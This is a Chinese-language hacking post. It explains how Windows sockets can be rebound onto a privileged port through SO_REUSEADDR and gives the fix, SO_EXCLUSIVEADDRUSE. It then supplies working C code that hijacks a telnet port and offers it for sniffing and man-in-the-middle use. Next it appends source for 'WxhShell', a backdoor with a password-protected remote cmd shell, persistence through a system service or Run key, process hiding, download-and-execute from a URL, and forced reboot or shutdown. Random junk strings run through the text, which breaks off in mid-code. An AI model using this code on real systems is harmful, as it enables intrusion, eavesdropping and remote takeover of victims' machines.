在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
tk]_QX
% s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
e|OG-t[$* 9Y!0>&o saddr.sin_family = AF_INET;
c1Fru k:(e79 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
]k3GFPw 4jq`No_ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
TYmUPS$ tDuUAI54 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
"`8H:y g9grfN 这意味着什么?意味着可以进行如下的攻击:
5KA
FUR0 y5Z<uwXc 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
~Q{[fy= inq4CGY 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
v3VLvh2)n )0 42?emn 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
?*MV
^IY Fh3Dc 83~ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
]
_]6&PZXk zwniS6R1 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
D,m&^P=%e #4|i@0n}D 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
nw]e_sm VK@i#/jm 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
hj m.Ath ;?Y`e #include
c?3F9w# #include
FclSuQWti #include
fSQ3 :o #include
|
xErA DWORD WINAPI ClientThread(LPVOID lpParam);
5k7(! int main()
q[,R%6&' {
xa%ktn WORD wVersionRequested;
>-./kI " DWORD ret;
JNA}EY^2I. WSADATA wsaData;
=QxE-)v BOOL val;
5M.n'* SOCKADDR_IN saddr;
M0" g/W SOCKADDR_IN scaddr;
\"sSS.' int err;
5 xzB1n8 SOCKET s;
D*2p SOCKET sc;
.WPR}v,.Z int caddsize;
\kJt@ [w% HANDLE mt;
i!+3uHWu`) DWORD tid;
G<WDyoN=O wVersionRequested = MAKEWORD( 2, 2 );
2
DNzC7}e err = WSAStartup( wVersionRequested, &wsaData );
C9;X6 if ( err != 0 ) {
JgjL$n;F printf("error!WSAStartup failed!\n");
,I:m*.q return -1;
g(}8n bTA }
QT&Ws+@
s{ saddr.sin_family = AF_INET;
JU,ROoz( EvardUB) //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
$(mdz)Cfy GWE0 UO} saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
F3r saddr.sin_port = htons(23);
Ch&]<#E>` if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
87 E3pe {
'L+BkE6+% printf("error!socket failed!\n");
u|*|RuY return -1;
tVh4v#@+ }
E#F9<=mA) val = TRUE;
TOF62, //SO_REUSEADDR选项就是可以实现端口重绑定的
W[Ew6)1T if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
NF.6(PG| {
7Mg7B printf("error!setsockopt failed!\n");
qy(/
return -1;
_*B~ESC0 }
>(4S `}K //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
yl+)I //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
ymVd94L //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
4O"kOEkKT> yzzre>F if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
IMw)X0z {
i1\ /\^ ret=GetLastError();
2*DS_=6o printf("error!bind failed!\n");
Z8n%=(He return -1;
v7u}nx }
L*oLKigT listen(s,2);
-#M~NbI, while(1)
=QO[zke: {
0c6AQP"=V caddsize = sizeof(scaddr);
}ucg!i3C //接受连接请求
5kZ yiC* sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
BFu9KS+@) if(sc!=INVALID_SOCKET)
qinQ5 t {
69[k
?')LM mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
717m.t,x if(mt==NULL)
<:t\P. {
9+|,aG s printf("Thread Creat Failed!\n");
q)i(wEdUZ break;
Z6ex<[`I }
f^)nZ:~ }
)BrqE uX@" CloseHandle(mt);
2b` M(QL }
[6qP; closesocket(s);
@= 9y5r WSACleanup();
R7b*(33 return 0;
bx6}zkf& }
0R%58,R DWORD WINAPI ClientThread(LPVOID lpParam)
\./2Qc, {
d7gSkna`5c SOCKET ss = (SOCKET)lpParam;
^/,yZ: SOCKET sc;
h /Nt92 unsigned char buf[4096];
_/\H3 SOCKADDR_IN saddr;
}PuO$
L long num;
-*r';Mz; DWORD val;
~'mhC46d DWORD ret;
F9hWB17u //如果是隐藏端口应用的话,可以在此处加一些判断
je%12DM //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
>f/g:[ saddr.sin_family = AF_INET;
!IU*Ayg saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
4!|ar?Zy saddr.sin_port = htons(23);
(#`o>G( if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
$sJfxh
r {
|&Wo-;Ud printf("error!socket failed!\n");
9$i`B>C~ return -1;
N*W.V,6yH }
X2Mj|_#u val = 100;
n4,J#h/ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
| w -W=v {
$!w%= ret = GetLastError();
Yd'ke,Je return -1;
/+YWp>6LU }
H;ib3? if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
2T5ZbXc+x {
qMOD TM~+ ret = GetLastError();
J$[Vm%56 return -1;
s5e}X: }
WkE;tC* if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
uyIA]OtyN {
gw:BKR'o printf("error!socket connect failed!\n");
|1R@Jz` closesocket(sc);
C/G[B?:h closesocket(ss);
<LY+"
Y return -1;
\&0NH=*^ }
wC~Uy% while(1)
X,~C {
PX]v"xf //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
2z:9^a/]Na //如果是嗅探内容的话,可以再此处进行内容分析和记录
|EunDb[Y //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
f{0PLFj num = recv(ss,buf,4096,0);
/<~IKVz\& if(num>0)
?fGY,<c send(sc,buf,num,0);
NG ~sE&,7 else if(num==0)
ifUgj8i_ break;
b.(^CYYQ num = recv(sc,buf,4096,0);
wB@A?&UY if(num>0)
,
{^g}d8 send(ss,buf,num,0);
~Q5HM else if(num==0)
utv.uwfat break;
a9%#
J^! }
BZ.H6r'Q closesocket(ss);
u- ,=C/iU closesocket(sc);
G6FknYj return 0 ;
TD'1L:mv }
WD<M
U ] S"*wP[d.9 SX#ATf6# ==========================================================
Q =Z-vTD+ raCxHY 下边附上一个代码,,WXhSHELL
L fhd02 gwyz)CUkL ==========================================================
Ad[-YT "b qB@) #include "stdafx.h"
09r.0Ks K=V)"v5o3 #include <stdio.h>
&}<IR\ci #include <string.h>
n=`UhC #include <windows.h>
,xGkE7=5 #include <winsock2.h>
C
7v
8 #include <winsvc.h>
&W1c#]q@r #include <urlmon.h>
.M04n\ ffd yDUzQ #pragma comment (lib, "Ws2_32.lib")
d:3G4g #pragma comment (lib, "urlmon.lib")
Hly$ Wm &@yW<< #define MAX_USER 100 // 最大客户端连接数
JHcC}+H[ #define BUF_SOCK 200 // sock buffer
}JS?42CTaV #define KEY_BUFF 255 // 输入 buffer
Xcb\N F[LBQI`zq #define REBOOT 0 // 重启
qvCl
mZ #define SHUTDOWN 1 // 关机
vNP,c]:% dLLF#N #define DEF_PORT 5000 // 监听端口
ydw')Em 13Q|p,^R #define REG_LEN 16 // 注册表键长度
#,Rmu #define SVC_LEN 80 // NT服务名长度
{A{=RPL +PjH2 // 从dll定义API
: -OHD#>% typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
uGOvZO^v typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
tT'+3 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
3eD#[jkAI; typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
xI$B",?( jvA]EN6$;~ // wxhshell配置信息
1qtu,yIf struct WSCFG {
al1Uf]xh int ws_port; // 监听端口
k? X7h2 char ws_passstr[REG_LEN]; // 口令
U\P ;,o int ws_autoins; // 安装标记, 1=yes 0=no
.M!HVq47m char ws_regname[REG_LEN]; // 注册表键名
wUab)L char ws_svcname[REG_LEN]; // 服务名
npZ=x-ce char ws_svcdisp[SVC_LEN]; // 服务显示名
{x
s{ char ws_svcdesc[SVC_LEN]; // 服务描述信息
Zj%l (OVq char ws_passmsg[SVC_LEN]; // 密码输入提示信息
4 QD.'+L int ws_downexe; // 下载执行标记, 1=yes 0=no
WOiw 0 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
m
z) O char ws_filenam[SVC_LEN]; // 下载后保存的文件名
<GT&q <4w v<$a .I( };
x
xWnB 8V?O=3<a // default Wxhshell configuration
1jO}{U struct WSCFG wscfg={DEF_PORT,
0& 54xP "xuhuanlingzhe",
L>
> % 1,
[kaj8 "Wxhshell",
Q)#+S(TG "Wxhshell",
Tapj7/0` "WxhShell Service",
F6`$5%$M;? "Wrsky Windows CmdShell Service",
A@^Y2:pY "Please Input Your Password: ",
<KlG#7M> 1,
(< gk<e* "
http://www.wrsky.com/wxhshell.exe",
x 8|sdZFxo "Wxhshell.exe"
[9Q}e;T };
80DcM9^t8 * EY^t= // 消息定义模块
U=QfInB char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
b;A(6^V char *msg_ws_prompt="\n\r? for help\n\r#>";
C7:;<<"P char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
R-5EztmLae char *msg_ws_ext="\n\rExit.";
.93B@u char *msg_ws_end="\n\rQuit.";
N{w)}me[YY char *msg_ws_boot="\n\rReboot...";
=wE1j char *msg_ws_poff="\n\rShutdown...";
G;Jqby8d char *msg_ws_down="\n\rSave to ";
8$4@U;Vh; JO{Rth char *msg_ws_err="\n\rErr!";
d)d\h`=Z char *msg_ws_ok="\n\rOK!";
( CDwl, i^`]TOP char ExeFile[MAX_PATH];
4AA3D!$ int nUser = 0;
+a7J;-| HANDLE handles[MAX_USER];
;]XK e') int OsIsNt;
7S'3U}Y>VX vG;)(.: SERVICE_STATUS serviceStatus;
a8$gXX-2 SERVICE_STATUS_HANDLE hServiceStatusHandle;
w=Cqv~ kIR?r0_<G6 // 函数声明
33/aYy int Install(void);
Bg3`w__l; int Uninstall(void);
j6@5"wx int DownloadFile(char *sURL, SOCKET wsh);
9 8"/]ERJ int Boot(int flag);
p) '.swpJ void HideProc(void);
ii,/omn: int GetOsVer(void);
E6
glR int Wxhshell(SOCKET wsl);
>d1gVBhk void TalkWithClient(void *cs);
\r4QS int CmdShell(SOCKET sock);
B}Lz#'5_ int StartFromService(void);
h0;PtQb1 int StartWxhshell(LPSTR lpCmdLine);
%UV'HcO/gp dG{D2~# VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
oz54IO VOID WINAPI NTServiceHandler( DWORD fdwControl );
kWkAfzf4a
D
H}gvV // 数据结构和表定义
cU`sA_f SERVICE_TABLE_ENTRY DispatchTable[] =
YS7R8| {
5yC$G{yV {wscfg.ws_svcname, NTServiceMain},
4&TTPcSt; {NULL, NULL}
8+gti*C?\ };
qhNY< 1#o><
? // 自我安装
)}{V#,xz@ int Install(void)
y}TiN!M {
{OK+d#= char svExeFile[MAX_PATH];
\Pv_5LAo HKEY key;
67916 strcpy(svExeFile,ExeFile);
o'9K8q\1 N|G=n9p // 如果是win9x系统,修改注册表设为自启动
i Eh
- if(!OsIsNt) {
2d%j6D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7.G1Q]6/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Km)5;BQxg RegCloseKey(key);
N;)Y+amg^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
hX?rIx RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
d~lB4 RegCloseKey(key);
fWr6f`de return 0;
M!KHBr }
?52{s"N0> }
N{lj"C]L }
jQrj3b.NC3 else {
) ?AlQA q?Jd.r5* // 如果是NT以上系统,安装为系统服务
,d^ze = SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
[gZz'q&[) if (schSCManager!=0)
d@+}_R"c {
urJ>dw?FI SC_HANDLE schService = CreateService
.I6:iB (
\t'v-x>2y5 schSCManager,
1pT
v6 wscfg.ws_svcname,
81O\BO.T wscfg.ws_svcdisp,
|7ga9 SERVICE_ALL_ACCESS,
$~#N1 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
k>W5ts2+ SERVICE_AUTO_START,
Pc=S^}+ SERVICE_ERROR_NORMAL,
3ug|H svExeFile,
8{mQmG4 NULL,
^H0`UKE NULL,
mLa0BIP NULL,
/EJwO3MW NULL,
*b{C`[
=V NULL
c5>'1 L );
fS( )F*J if (schService!=0)
(6 jr}kP {
UfE41el: CloseServiceHandle(schService);
`(SWE+m1g CloseServiceHandle(schSCManager);
Gi<ik~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
S6.N)7y strcat(svExeFile,wscfg.ws_svcname);
>x%Z^U if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
^s@?\v RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
"%+C@>`( RegCloseKey(key);
=1o_:VOG return 0;
MKd{y~' }
~o:lh],~ }
<De29'},y CloseServiceHandle(schSCManager);
\h6_m)*H4 }
5 ^}zysY` }
/easmf] LC5NB{b\%> return 1;
5S'89 r3m }
)W&H{2No ]A;zY%> // 自我卸载
#vhxW=L`= int Uninstall(void)
CT6Ca, {
v&}mbt- HKEY key;
/nEh,<Y) wK@k}d if(!OsIsNt) {
TY"=8}X1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
iARIvhfdi RegDeleteValue(key,wscfg.ws_regname);
DSyfF&uC RegCloseKey(key);
d$<HMs:o@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
#$(F&>pj RegDeleteValue(key,wscfg.ws_regname);
g7k|Ho-W RegCloseKey(key);
u"-q"0 return 0;
k<uC[)_ }
M{+Ie?ZI }
H kDT14 `& }
\H+/D &M else {
XW6Ewrm=vT heiIb|z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
b,YTw if (schSCManager!=0)
HK>!%t0S {
fU_itb( SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
oDul ?% if (schService!=0)
y5>859"h {
9J_lxy} if(DeleteService(schService)!=0) {
vBCQ-l<Ub CloseServiceHandle(schService);
`,~I*}T>5W CloseServiceHandle(schSCManager);
:0ZFbIy return 0;
zYfn;s%A }
W0eb9g`s CloseServiceHandle(schService);
_*B]yz6z }
tF SO " CloseServiceHandle(schSCManager);
,EW-21 }
xuQ$67F`;z }
\?&P|7N 1HxE0> return 1;
MGeHccqh2 }
B*E:?4(<P }R*[7V9" // 从指定url下载文件
)s1W)J?8 int DownloadFile(char *sURL, SOCKET wsh)
D1t@Y.vl {
1pogk0h.: HRESULT hr;
!'(bwbd char seps[]= "/";
T(K~be char *token;
&'9 Jy'(X char *file;
a+ZP]3@
7 char myURL[MAX_PATH];
.)|r!X char myFILE[MAX_PATH];
['j_W$8n oe,L&2Jz@ strcpy(myURL,sURL);
J_]?.V*A token=strtok(myURL,seps);
B!H46w~ while(token!=NULL)
5an#,vCn{ {
:%Na-j9hV) file=token;
vs;T}'O token=strtok(NULL,seps);
j_c0oclSz }
_x_om#~n j@$p(P$ GetCurrentDirectory(MAX_PATH,myFILE);
2,?4'0Z@R strcat(myFILE, "\\");
G\&4_MS strcat(myFILE, file);
UbKdB send(wsh,myFILE,strlen(myFILE),0);
W-zD1q~0? send(wsh,"...",3,0);
5xL%HX[S hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
yg\bCvL& if(hr==S_OK)
)3PQ|r' return 0;
H5uWI else
I`:nb return 1;
[xq"[*Evv q\*",xZxwz }
+"rZ< i <X~
X#9V // 系统电源模块
#aUe7~ int Boot(int flag)
is?H1V~8`$ {
JTB_-J-TU HANDLE hToken;
'eg?W_zu TOKEN_PRIVILEGES tkp;
a}eM ny MFO}E!9`q if(OsIsNt) {
$$`E@\5P OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
e 5U<nf LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
z 3)pvX5 tkp.PrivilegeCount = 1;
Ld6j;ZJ'; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
1"{3v@yi AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
~jMdM~} if(flag==REBOOT) {
.OA_)J7 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Q|Uq.UjY return 0;
j;@7V4' }
uV?[eiezD0 else {
. fq[>zG'& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
e!wBNcG2 return 0;
C=2"*>lTn }
GPnd7}Tn }
pJ[7m else {
NidG|Yg~Z if(flag==REBOOT) {
6-C9[[g< if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
CI$pPY<u1 return 0;
?h4-D:!$L }
u1d{|fF else {
p|VoIQY if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
oZ;u>MeZ return 0;
m5Gt8Z 6a }
SAswP }
z1A[rbe=4w 3Tv;<hF return 1;
.hW_P62\# }
|pk1pV | F<y$Q0Z} // win9x进程隐藏模块
lAuI?/E void HideProc(void)
}|>mR]; {
g@]G
[( 8;>vgD HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
2@WF]*Z if ( hKernel != NULL )
Z"rrbN1 {
\9*wo9cV pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
H/m -$;cF3 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
]h8[b9$<") FreeLibrary(hKernel);
;KqH]h) }
><9E^ k0. [U[saR\ return;
J{c-'Of2yi }
apQ` l^ "F%w{bf // 获取操作系统版本
o#Q0J17i? int GetOsVer(void)
&x$1hx' {
{p&M(W] OSVERSIONINFO winfo;
D>wq4u winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
- `^594 GetVersionEx(&winfo);
8/cD7O if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
:db:|=#T return 1;
A}K RXkB else
'B&gr}@4O= return 0;
H(bR@Qok }
Ng=XH"ce~
QV/o; // 客户端句柄模块
7u/_3x1 int Wxhshell(SOCKET wsl)
K4938
v {
<RzGxhT SOCKET wsh;
rMkoE7n struct sockaddr_in client;
&wc%mQV DWORD myID;
It.G-( ^gx`@^su while(nUser<MAX_USER)
Yg_;Eu0'? {
hkOhY3K5 int nSize=sizeof(client);
PYWp2V/ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
YU! SdT$ if(wsh==INVALID_SOCKET) return 1;
R7YLI1ov FJ]BB4
K handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
&K
Ti[ if(handles[nUser]==0)
+dd\_\ closesocket(wsh);
-olD!zKS else
Y>v(UU nUser++;
* N5cC#5`= }
w7d(|` WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
{OHaI ; x;d*?69f] return 0;
nff
X }
Jv*[@
-.k U/2]ACGCN^ // 关闭 socket
yU"pU>fV@ void CloseIt(SOCKET wsh)
ktQMkEj# {
8}9B*m closesocket(wsh);
1+`Bli]dE nUser--;
mI5BJ ExitThread(0);
Vgzw ['L} }
JBY`Y]V3 M[aF3bbN // 客户端请求句柄
u#TRm?s void TalkWithClient(void *cs)
)tc"4lp- {
34k}7k~n ""LCyKu SOCKET wsh=(SOCKET)cs;
{J_1.uN= char pwd[SVC_LEN];
or2BG&W char cmd[KEY_BUFF];
jSLC L' char chr[1];
0#K?SuY.eN int i,j;
hEG-,
`$V7AqX ( while (nUser < MAX_USER) {
>GR L5Iow -p|JJx?r if(wscfg.ws_passstr) {
/ {|<3CEe if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
A\{dq: //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
^;on //ZeroMemory(pwd,KEY_BUFF);
JPeZZ13sS i=0;
vn5X]U" while(i<SVC_LEN) {
"S#}iYp ",U>;` // 设置超时
0I|IL]JL fd_set FdRead;
8#NI`s* struct timeval TimeOut;
!rmXeN]-r FD_ZERO(&FdRead);
&c;@u?:@S FD_SET(wsh,&FdRead);
>0#WkmRY TimeOut.tv_sec=8;
cQ:Y@f 9 TimeOut.tv_usec=0;
qs$%/ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
z:Sr@!DZ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
RPb/U8 \>8r)xC if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
4Ji6B)B pwd
=chr[0]; axf 4N@
if(chr[0]==0xd || chr[0]==0xa) { QfLDyJv`e
pwd=0; Mi|PhDXMh
break; eRI'pi[#.
} ~
NO9s
i++; |nf FI
} B,`B!rU
x3X^\Ig
// 如果是非法用户,关闭 socket qu}`;\9@ld
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xG802?2i/;
} wUnz D)
RR*eq.;
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F*&A=@/3
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]h]| PdN
y">_$
while(1) { %t*_Rtz\o
^h
q?E2-
ZeroMemory(cmd,KEY_BUFF); *2K/)(
b4l=Bg"
// 自动支持客户端 telnet标准 PEKU
j=0; _$wXHONt
while(j<KEY_BUFF) { z_)`='&n
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~/R,oQ1!g}
cmd[j]=chr[0]; ck=x_HB1
if(chr[0]==0xa || chr[0]==0xd) { QkEIV<T&)l
cmd[j]=0; 'qhi8=*
break; 6P0\t\D0
} MfX1&/Z+
j++; Bz&6kRPv
}
>mk}
yuTSzl25,/
// 下载文件 \O*8%
if(strstr(cmd,"http://")) { *]L(,_:"
send(wsh,msg_ws_down,strlen(msg_ws_down),0); TLBIM
if(DownloadFile(cmd,wsh)) 75u5zD
send(wsh,msg_ws_err,strlen(msg_ws_err),0); j|Q*L<J
else vG`;2laY
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C}i1)
}
j -H2h
else { q<5AB{Oj?
/(iq^
switch(cmd[0]) { T^"-;
T#HW{3
// 帮助 D*!UB5<>/t
case '?': { `R9}.?7
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4pYscB
break; ~9[^abz
} *B$$6'hi`
// 安装 P(n_eIF-f
case 'i': { TzPG(f
if(Install()) vz\^Aa
#fv
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E46+B2_~zk
else kYwV0xQ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4#dS.UfI
break; i4Ps#R_wx
} l r16*2.
// 卸载 _LYI#D
case 'r': { ,aA%,C.0U
if(Uninstall()) Rxl )[\A*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xcVF0%wVC
else ;J]Lzh
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?}mbp4+j[
break; li4"|T&
} E8`AU<
// 显示 wxhshell 所在路径 Cyn_UE
case 'p': { y3^>a5z!x
char svExeFile[MAX_PATH]; >j%4U*
strcpy(svExeFile,"\n\r"); ?y1G,0,
strcat(svExeFile,ExeFile); :iKk"r,2P[
send(wsh,svExeFile,strlen(svExeFile),0); R&!{3!V
break; `A\|qH5`W
} H
N )@sLPc
// 重启 4^OPzg6Z%p
case 'b': {
zfm-vU
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RTXl3
jq
if(Boot(REBOOT)) s)eU^4m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [f8mh88r
else { v\#1&</qd^
closesocket(wsh); P
{8d.
ExitThread(0); f ^vz
} YXFUZ9a#e
break; JKJ+RkXf3
} &3_S+.JO
// 关机 _d J"2rx
case 'd': { B]_NI=d
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fRow@DI\
if(Boot(SHUTDOWN)) @D3|Ak 1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); UpoTXAD}k
else { HOPi2nf{
closesocket(wsh); LOPw0@
ExitThread(0); V\=QAN^
} Ra~|;(
%d
break; ww^!|VVa
} [ELg:f3}5
// 获取shell k O8W>
case 's': { PDQ\ND
CmdShell(wsh); tl@n}
closesocket(wsh); Bq# l8u
ExitThread(0); j_#oP
break; RY\[[eG
} uY"Bgz:=d
// 退出 B}|(/a@*
case 'x': { '
Akt5q
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &.4m(ZX
CloseIt(wsh); &i8UPp%
break; Rv^
\o
} ~a
RK=i$F
// 离开 @x4IxGlUs
case 'q': { 9-6E(D-ux
send(wsh,msg_ws_end,strlen(msg_ws_end),0); u&7c2|Q
closesocket(wsh); \'}? j- 8
WSACleanup(); 0DIXd*oj &
exit(1); ~ 6`Ha@
break; ]"DsZI-glW
} 017(I:V?(:
} `~S; UG
} JS:AHJSz
x8v2mnk
// 提示信息 m@2;9
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aIsT"6A~{
} <T0+-]i
} U`HSq=J
zwEZ?m!
return; teDO,$
} rcx'`CIJ
Bf-KCqC".
// shell模块句柄 %=t8
int CmdShell(SOCKET sock) ^]A,Q%1q^
{ G$HXc$OY
STARTUPINFO si; b+rn:R
ZeroMemory(&si,sizeof(si)); 74u_YA<"
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k:JlC(^h
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Tz"Xm/Gy
PROCESS_INFORMATION ProcessInfo; 2&+Nr+P
char cmdline[]="cmd"; E2Jmo5yJR
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ha -KfkPFE
return 0; wm<`0}
} vXP+*5d/ K
]3/_?n-"`
// 自身启动模式 F4|Z:e,Hr
int StartFromService(void) w$2Z7S
{ F CbU> 1R
typedef struct $afE=
qC*
{ -{tB&V~+v
DWORD ExitStatus; `YinhO:Z
DWORD PebBaseAddress; pm 4"Q!K
DWORD AffinityMask; R
| &+g\{;
DWORD BasePriority;
?8O %k<?
ULONG UniqueProcessId; MS~|F^g
ULONG InheritedFromUniqueProcessId; GOII
B
